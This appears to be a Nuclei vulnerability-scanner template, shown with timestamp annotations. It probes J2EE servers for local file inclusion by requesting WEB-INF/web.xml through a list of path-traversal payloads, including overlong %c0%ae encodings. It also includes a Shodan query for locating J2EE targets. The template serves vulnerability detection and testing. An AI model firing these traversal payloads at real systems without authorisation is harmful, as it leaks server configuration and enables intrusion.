2022-08-07 13:31:31 +00:00
|
|
|
id: generic-j2ee-lfi
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Generic J2EE LFI scan
|
|
|
|
author: davidfegyver
|
|
|
|
severity: high
|
|
|
|
description: Looks for J2EE specific LFI vulnerabilities, tries to leak the web.xml file.
|
2022-08-07 15:20:32 +00:00
|
|
|
reference:
|
2022-08-07 13:31:31 +00:00
|
|
|
- https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LFIModule.java
|
2022-08-30 22:02:32 +00:00
|
|
|
- https://gist.github.com/harisec/519dc6b45c6b594908c37d9ac19edbc3
|
2022-08-08 06:35:51 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
|
|
|
shodan-query: http.title:"J2EE"
|
|
|
|
tags: lfi,generic,j2ee
|
2022-08-07 13:31:31 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/../../../../WEB-INF/web.xml"
|
|
|
|
- "{{BaseURL}}/../../../WEB-INF/web.xml"
|
|
|
|
- "{{BaseURL}}/../../WEB-INF/web.xml"
|
|
|
|
- "{{BaseURL}}/%c0%ae/%c0%ae/WEB-INF/web.xml"
|
|
|
|
- "{{BaseURL}}/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
|
|
|
|
- "{{BaseURL}}/%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
|
|
|
|
- "{{BaseURL}}/../../../WEB-INF/web.xml;x="
|
2022-08-07 15:17:49 +00:00
|
|
|
- "{{BaseURL}}/../../WEB-INF/web.xml;x="
|
2022-08-07 13:31:31 +00:00
|
|
|
- "{{BaseURL}}/../WEB-INF/web.xml;x="
|
|
|
|
- "{{BaseURL}}/WEB-INF/web.xml"
|
|
|
|
- "{{BaseURL}}/.//WEB-INF/web.xml"
|
|
|
|
- "{{BaseURL}}/../WEB-INF/web.xml"
|
|
|
|
- "{{BaseURL}}/%c0%ae/WEB-INF/web.xml"
|
|
|
|
|
2022-08-08 06:35:51 +00:00
|
|
|
stop-at-first-match: true
|
2022-08-07 13:31:31 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2022-08-08 06:35:51 +00:00
|
|
|
- "<servlet-name>"
|
|
|
|
- "</web-app>"
|
|
|
|
condition: and
|
2022-08-07 13:31:31 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|